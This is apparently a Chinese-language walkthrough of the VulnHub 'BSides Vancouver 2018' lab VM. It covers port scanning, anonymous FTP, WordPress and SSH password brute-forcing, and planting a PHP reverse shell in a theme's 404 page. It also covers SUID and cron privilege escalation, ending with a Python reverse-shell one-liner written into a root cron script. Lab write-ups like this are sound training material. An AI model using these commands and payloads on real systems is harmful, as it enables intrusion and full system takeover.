BSides Vancouver: 2018 (Workshop)
来自 < https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.199
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.199

服务器同时存在FTP,SSH,HTTP服务,分别进行信息收集
1. FTP 服务 (vsftpd 2.3.5)
- 漏洞风险 :
- 匿名登录:允许匿名访问(用户 ftp/空密码),存在信息泄露风险。
- 版本检查:vsftpd 2.3.5 已修复著名的后门漏洞(CVE-2011-2523),但仍需验证是否存在其他漏洞。
- 建议操作 :
- 登录并检查 public 目录内容:
ftp <IP>用户名:anonymous,密码:空或任意邮箱
ls
get <文件> # 下载可疑文件 - 检查是否有写入权限(尝试上传文件)。
- 登录并检查 public 目录内容:
2. SSH 服务 (OpenSSH 5.9p1)
- 漏洞风险 :
- 旧版本风险:可能受漏洞如 CVE-2016-0777(信息泄露)影响。
- 弱密钥类型:DSA 1024位密钥强度不足,建议升级至 RSA 2048+ 或 ECDSA。
- 建议操作 :
- 扫描支持的加密算法:
nmap --script ssh2-enum-algos <IP> - 避免使用不安全的算法(如 CBC 模式)。
- 扫描支持的加密算法:
3. HTTP 服务 (Apache 2.2.22)
- 漏洞风险 :
- Apache 漏洞:旧版本可能受拒绝服务(CVE-2011-3192)或目录遍历漏洞影响。
- 敏感路径泄露:/backup_wordpress 可能存在备份文件(如 wp-config.php)。
- 建议操作 :
- 访问 http://<IP>/backup_wordpress/,检查是否存在:
- WordPress 备份文件(.zip, .sql 等)。
- 配置文件(含数据库凭据)。
- 执行目录扫描:
gobuster dir -u http://<IP>/ -w /path/to/wordlist.txt
- 访问 http://<IP>/backup_wordpress/,检查是否存在:
4,尝试匿名登录ftp服务器
anonymous
查看目录 ls
发现public目录,进入pubilc目录 cd public
然后get下载这个txt文件 get user.txt.bk

5,访问一下80端口的网站

应该还需要扫出网站的子目录

扫描出来robots.txt,访问之

/backup_wordpress访问之
http://192.168.23.199/backup_wordpress/

dirsearch -u http://192.168.23.199/backup_wordpress -x 403,404,500

是存在登录页面的,推测ftp服务器泄露文件的用户名用于登录wordpress
6,还有方法就是使用hydra爆破ssh登录。这里使用wpscan扫描WordPress,暴破后台用户名:
wpscan --url http://192.168.23.199/backup_wordpress --enumerate u

爆破后台密码:
wpscan --url ' http://192.168.23.199/backup_wordpress/' --api-token 'API' -U wordpressusers.txt -P /usr/share/wordlists/rockyou.txt

爆破出账号密码john/enigma

成功登录
7,尝试修改404页面的内容,使用的脚本是kali自带的反弹shell木马
cp /usr/share/webshells/php/php-reverse-shell.php /root
http://192.168.23.199/backup_wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentysixteen

成功上传

8,在攻击机上开启nc对4444端口监听,

然后访问一个不存在的网页
http://192.168.23.199/backup_wordpress/wp-content/themes/twentysixteen/404.php
9,python脚本启动一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

信息收集发现用户

然后尝试ssh爆破出用户弱口令
hydra -l anne -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.23.199

第一种办法,服务器配置不当弱口令登录提权
10,ssh成功登录。账户/密码:anne/princess

sudo -l发现所有命令都能够sudo权限,直接提权成为root

第二种办法, 777 权限文件反弹 shell 提权
1,查找具有777权限的文件
find / -type f -perm 0777 2>/dev/null
关键参数解析:
- sudo
以 root 权限执行,避免因目录不可读导致的遗漏(若以普通用户身份运行,可能漏掉大量文件)。 - -perm 0777
严格匹配权限为 777 的文件(八进制写法更规范)。 - 2>/dev/null
忽略所有错误(如权限拒绝、文件不存在等)。

与Linux 提权联系:
风险场景
权限为 777 的文件意味着任何用户均可读、写、执行,攻击者可能利用以下场景提权:
|------------------|-----------------------------------------|-------------------------|
| 文件类型 | 提权利用方式 | 示例 |
| 可执行程序/脚本 | 替换文件内容,插入恶意代码(如反弹 Shell),等待高权限用户或服务调用。 | /usr/local/bin/custom* |
| Cron Job 脚本 | 修改定时任务脚本,注入提权代码,利用 Cron 以 root 权限执行。 | /etc/cron.daily/* |
| 服务配置文件 | 修改服务配置文件,诱导服务重启后加载恶意模块或执行命令。 | /etc/init.d/*.conf |
| 日志/临时文件 | 写入恶意内容并配合符号链接、竞争条件等漏洞提权。 | /var/log/*.log |
| SUID/SGID 文件 | 若权限为 777 且设置了 SUID,直接修改文件内容可获取 root 权限。 | /usr/bin/old_tool |
典型案例
- Cron Job 提权
若发现 /etc/cron.hourly/cleanup 权限为 777,攻击者可写入以下代码:
chmod +s /bin/bash # 赋予 Bash SUID 权限
Cron 以 root 执行后,普通用户运行 /bin/bash -p 即可获得 root Shell。 - SUID 滥用
若某 SUID 程序权限为 777:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /usr/bin/vulnerable
/tmp/rootbash -p # 启动后获得 root
2,再插入恶意提权代码
echo '#!/bin/sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.182",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'' > /usr/local/bin/cleanup
反弹shell成为root用户